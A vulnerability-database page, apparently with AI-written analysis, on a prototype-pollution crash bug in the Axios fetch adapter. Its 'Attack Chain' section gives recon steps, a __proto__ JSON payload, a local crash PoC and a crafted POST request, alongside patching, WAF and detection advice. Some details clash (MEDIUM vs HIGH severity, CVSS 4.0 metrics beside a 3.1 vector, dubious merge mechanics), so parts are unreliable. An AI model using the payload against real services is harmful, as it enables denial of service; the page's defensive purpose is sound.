CVE Professor
/
All CVEs
CVE-2026-139876

CVE-2026-139876 — Axios — CWE-1321

MEDIUM CVSS 8.2 NVD

Axios 1.7.6 before 1.21.0 contains a prototype pollution gadget in the fetch adapter signal cleanup in lib/helpers/composeSignals.js that allows attackers to crash Node.js processes. Attackers who pollute Object.prototype.unsubscribe with a non-callable value trigger an uncaught TypeError during AbortSignal cleanup, terminating the process when no uncaughtException handler exists.

Axios 1.7.6 before 1.21.0 contains a prototype pollution gadget in the fetch adapter signal cleanup in lib/helpers/composeSignals.js that allows attackers to crash Node.js processes. Attackers who pollute Object.prototype.unsubscribe with a non-callable value trigger an uncaught TypeError during AbortSignal cleanup, terminating the process when no uncaughtException handler exists.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑139876 is a prototype‑pollution flaw in axios 1.7.6 – 1.21.0 (the axios NPM package).

  • CWE‑1321 – Improperly Controlled Modification of Object Prototype – the library accesses Object.prototype.unsubscribe without first verifying that the property is a callable function.
  • The vulnerable code lives in lib/helpers/composeSignals.js. When a request is made with the fetch adapter, Axios creates an AbortSignal chain. During the cleanup phase it executes:
  • if (signal.unsubscribe) {
      signal.unsubscribe();   // ← assumes unsubscribe is a function
    }

    If an attacker can pollute the global prototype and set Object.prototype.unsubscribe to a non‑callable value (e.g., a number, string, or null), the if test succeeds (the property exists) but the subsequent call throws an uncaught TypeError.

    Because the error propagates out of the adapter and is not caught by Axios, the Node.js process terminates when no process.on('uncaughtException') handler is present.

    No authentication, authorization, or user interaction is required – the attacker only needs to be able to influence the JavaScript environment that runs the vulnerable Axios code (e.g., by sending a crafted JSON payload that is merged into a request object, or by loading a malicious module that runs before the vulnerable code).

    Why the CVSS vector looks the way it does

    VectorMeaning (relevant to this bug)
    AV:N – Network reachable (the attacker sends a request over the network).
    AC:H – High attack complexity (the attacker must be able to inject a prototype‑polluting property, which usually requires control over a JSON body that is later merged with Object.assign or similar).
    AT:P – Attack requires a privileged environment only in the sense that the attacker must run code in the same Node.js process (e.g., a malicious client‑side script in a server‑side rendering context).
    PR:N – No privileges needed beyond being able to send the request.
    UI:N – No user interaction required.
    VC:N / VI:N – No impact on confidentiality or integrity.
    VA:H – High impact on availability (process crash).
    SC:N / SI:N / SA:N – No impact on other security properties.

    The net effect is a Denial‑of‑Service (DoS) condition, not remote code execution or data leakage.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid and illustrative – the exact request path depends on the victim application.

    1️⃣ Discovery & Reconnaissance

    StepActionTools / Evidence
    a. Identify the stackScan the target for package.json or use a software‑bill‑of‑materials (SBOM) scanner (e.g., syft, cyclonedx-cli). Look for "axios": "1.x" entries.npm ls axios on the host, or a public GitHub repo.
    b. Determine the versionParse package-lock.json or run npm list axios.Output shows [email protected].
    c. Verify vulnerabilityCompare version against the vulnerable range (≥ 1.7.6 && < 1.21.0).If the version falls in that range, the host is a candidate.

    2️⃣ Exploitation

    The attacker must pollute Object.prototype.unsubscribe before Axios performs its cleanup. The most common injection point is a JSON body that the application merges into a request configuration using Object.assign or a similar shallow‑merge utility.

    2.1 Prototype‑pollution payload (illustrative)

    {
      "__proto__": {
        "unsubscribe": 12345   // any non‑function value – number, string, null, etc.
      }
    }

    If the target code does something akin to:

    const cfg = Object.assign({}, userSuppliedBody);
    axios(cfg);   // cfg now contains the polluted prototype

    the global prototype is polluted.

    2.2 Triggering the crash

    A minimal PoC that reproduces the crash locally (you can adapt it to the target’s endpoint):

    # -------------------------------------------------
    # 1️⃣ Install the vulnerable version locally
    # -------------------------------------------------
    npm init -y
    npm install [email protected]   # any version < 1.21.0
    
    # -------------------------------------------------
    # 2️⃣ Create a script that pollutes the prototype
    # -------------------------------------------------
    cat > exploit.js <<'EOF'
    /* eslint-disable no-prototype-builtins */
    const axios = require('axios');
    
    // 1️⃣ Pollute the global prototype
    Object.prototype.unsubscribe = 42;   // non‑callable value
    
    // 2️⃣ Issue a request that uses the fetch adapter (default in Node >= 18)
    //    The request itself can be to any reachable URL; we use httpbin.org for demo.
    axios.get('https://httpbin.org/get')
      .then(r => console.log('Response received'))
      .catch(e => console.error('Axios error:', e));
    EOF
    
    # -------------------------------------------------
    # 3️⃣ Run the script – the process should terminate with:
    #    TypeError: signal.unsubscribe is not a function
    # -------------------------------------------------
    node exploit.js

    When run, Node prints a stack trace similar to:

    /path/to/node_modules/axios/lib/helpers/composeSignals.js:45
        signal.unsubscribe();
                    ^^^^^^^^^
    TypeError: signal.unsubscribe is not a function
        at composeSignals (.../axios/lib/helpers/composeSignals.js:45:17)
        at ... (rest of stack)

    Because the exception is uncaught, the process exits with a non‑zero status – the DoS effect.

    2.3 Network‑based illustration (illustrative endpoint)

    If the vulnerable service exposes an HTTP API that accepts a JSON body and later merges it into an Axios config, an attacker could send:

    POST /api/v1/report HTTP/1.1
    Host: vulnerable.example.com
    Content-Type: application/json
    Content-Length: 78
    
    {
      "__proto__": {
        "unsubscribe": "boom"
      },
      "url": "https://httpbin.org/get"
    }

    The exact path (/api/v1/report) is illustrative; the attacker must locate the real endpoint that performs the unsafe merge.

    3️⃣ Post‑exploitation (Impact)

  • Availability – The Node.js process crashes, causing the service to become unavailable until it is manually restarted or the process manager (e.g., pm2, systemd) restarts it.
  • No privilege escalation – The attacker does not gain higher privileges; the impact stops at DoS.
  • No data exfiltration – The bug does not expose data.
  • In a production environment with auto‑restart (e.g., pm2 with restart_delay), the service may bounce repeatedly, leading to service degradation and possible resource exhaustion (log spamming, repeated crash‑restart cycles).


    🌍 Real‑World Impact

    CIA TriadImpactReasoning
    Confidentiality (C)NoneNo data is read or leaked.
    Integrity (I)NoneNo data is modified.
    Availability (A)HighThe process terminates; if the service is critical (e.g., API gateway, payment processor), downtime can be severe.

    Practical consequences

  • Public‑facing APIs built on Express/Koa that use Axios for outbound HTTP calls become single‑point‑of‑failure.
  • Micro‑service architectures where one service calls another via Axios can experience cascading failures if the crashing service is a dependency.
  • Serverless functions (AWS Lambda, Azure Functions) that bundle Axios may cause the function container to exit, leading to throttling or increased latency for subsequent invocations.

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch the library

    Affected rangeFixed in
    axios ≥ 1.7.6 && < 1.21.0≥ 1.21.0 (the first release that removes the vulnerable cleanup code)

    Action:

    npm install axios@^1.21.0   # or a later stable version

    If you use a lockfile (package-lock.json or yarn.lock), regenerate it after the upgrade.

    2️⃣ Work‑around (if immediate upgrade is impossible)

    TechniqueHow to apply
    Freeze the prototypeAdd early in the application start‑up: <br>Object.defineProperty(Object.prototype, 'unsubscribe', { value: undefined, writable: false, configurable: false }); <br>This prevents any later assignment to Object.prototype.unsubscribe.
    Validate incoming objectsReject any payload that contains a __proto__ or constructor key before merging. Example (Express middleware): <br>``js\nfunction rejectProto(req, res, next) {\n const hasProto = JSON.stringify(req.body).includes('__proto__');\n if (hasProto) return res.status(400).send('Invalid payload');\n next();\n}\napp.use(express.json(), rejectProto);\n`
    Wrap Axios calls in a safe adapterUse a custom wrapper that catches all errors from Axios and logs them instead of letting them bubble up: <br>`js\nasync function safeAxios(config) {\n try { return await axios(config); }\n catch (e) { console.error('Axios error (handled):', e); return null; }\n}\n`
    Process‑level guardRegister a global uncaughtException handler that logs the error and gracefully shuts down the service (e.g., process.exit(1) after cleanup) instead of crashing abruptly. <br>process.on('uncaughtException', (err) => { console.error('Uncaught:', err); /* graceful shutdown */ });`

    3️⃣ Detection – what to look for in logs / monitoring

    IndicatorExample log entry
    Node.js process termination2026-11-30T12:34:56.789Z - error: Uncaught Exception: TypeError: signal.unsubscribe is not a function
    Stack trace referencing composeSignals.jsat composeSignals (/app/node_modules/axios/lib/helpers/composeSignals.js:45:17)
    Repeated crash‑restart loops (systemd, pm2)pm2 restart app (2) - exited with code 1
    Incoming JSON containing __proto__ (if you log raw bodies){"__proto__":{"unsubscribe":"boom"}}
    Alert from APM (e.g., New Relic, Datadog) – “Process terminated unexpectedly”process.exit event with exit code 1

    Monitoring suggestions

  • Process health checks (e.g., HTTP /healthz) – alert on failure.
  • Node.js process.on('uncaughtException') – log the stack and raise an alert.
  • WAF rule (if the service is behind a reverse proxy) to drop payloads containing __proto__ keys:
  • # ModSecurity example (illustrative)
    SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:400,msg:'Prototype pollution attempt'"
    SecRule REQUEST_BODY "@contains \"__proto__\"" "t:none"
  • Static analysis – run npm audit or nsp to flag the vulnerable version.

  • ⚠️ Urgency

  • CVSS 8.2 (HIGH) – high availability impact, network‑reachable, no authentication required.
  • Exploit complexity is “High” because the attacker must control a JSON body that is merged shallowly, but many modern Node.js applications perform such merges (e.g., Object.assign(req.body, defaults)).
  • No existing CISA KEV entry – the vulnerability is not yet listed in the U.S. government’s “Known Exploited Vulnerabilities” catalog, which often means exploitation is not yet widespread but the window for abuse is opening.
  • Patch priority: Critical for any production service that runs the vulnerable Axios version, especially if the service:

  • Handles external JSON payloads (REST APIs, GraphQL, webhook receivers).
  • Runs as a long‑lived process without a custom uncaughtException handler.
Recommended timeline:
TimeframeAction
0‑24 hVerify version, apply the upgrade to ≥ 1.21.0 in a staging environment, run regression tests.
24‑48 hDeploy the patched version to production or apply the prototype‑freeze workaround if an immediate upgrade is impossible.
≤ 7 daysImplement detection (log monitoring, WAF rule) and add a global uncaughtException guard to reduce impact of any missed instances.
≤ 30 daysConduct a code‑review for other prototype‑pollution sinks (Object.assign, _.merge, deepmerge, etc.) across the codebase.

Given the availability‑only impact, the main business risk is service downtime and potential SLA violations. In high‑availability environments (financial services, health‑care APIs, public portals) the risk justifies immediate remediation.


Bottom line: Upgrade Axios to 1.21.0 or later as soon as possible, add a defensive prototype‑freeze or input‑validation layer, and monitor for the specific TypeError stack trace. This will eliminate the DoS vector introduced by CVE‑2026‑139876.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="axios axios"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-139876
Technical reference / advisory repository for CVE-2026-139876
Technical reference / advisory repository for CVE-2026-139876
Technical reference / advisory repository for CVE-2026-139876
CVSS Score
8.2 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-1321
Affected Products (1)
axios:axios
Related CVEs
6.0
CVE-2026-144616
Axios before 0.36.0 and 1.x before 1.22.0 contains an allowAbsoluteUrls bypass in combineURLs() that allows at
6.9
CVE-2026-144568
NervJS taro-css-to-react-native through 4.3.3 contains a prototype pollution vulnerability that allows attacke
6.3
CVE-2026-144955
Style Dictionary 4.3.0 before 5.7.1 contains a prototype pollution vulnerability in convertTokenData that allo
5.4
CVE-2026-144960
n8n-mcp before 2.98.1 contains a prototype pollution vulnerability that allows MCP clients to modify Object.pr
7.5
CVE-2026-144441
Medusa 1.8.0 through 1.20.11 and 2.8.5 before 2.18.0 contains a prototype pollution vulnerability in buildOrde
7.3
CVE-2026-144409
### Summary In vue-i18n v9 and later, `mergeLocaleMessage()`, `mergeDateTimeFormat()` and `mergeNumberFormat(
6.5
CVE-2026-144440
Medusa 2.0.0 before 2.22.5 contains a prototype pollution vulnerability in remoteQueryObjectFromString() in pa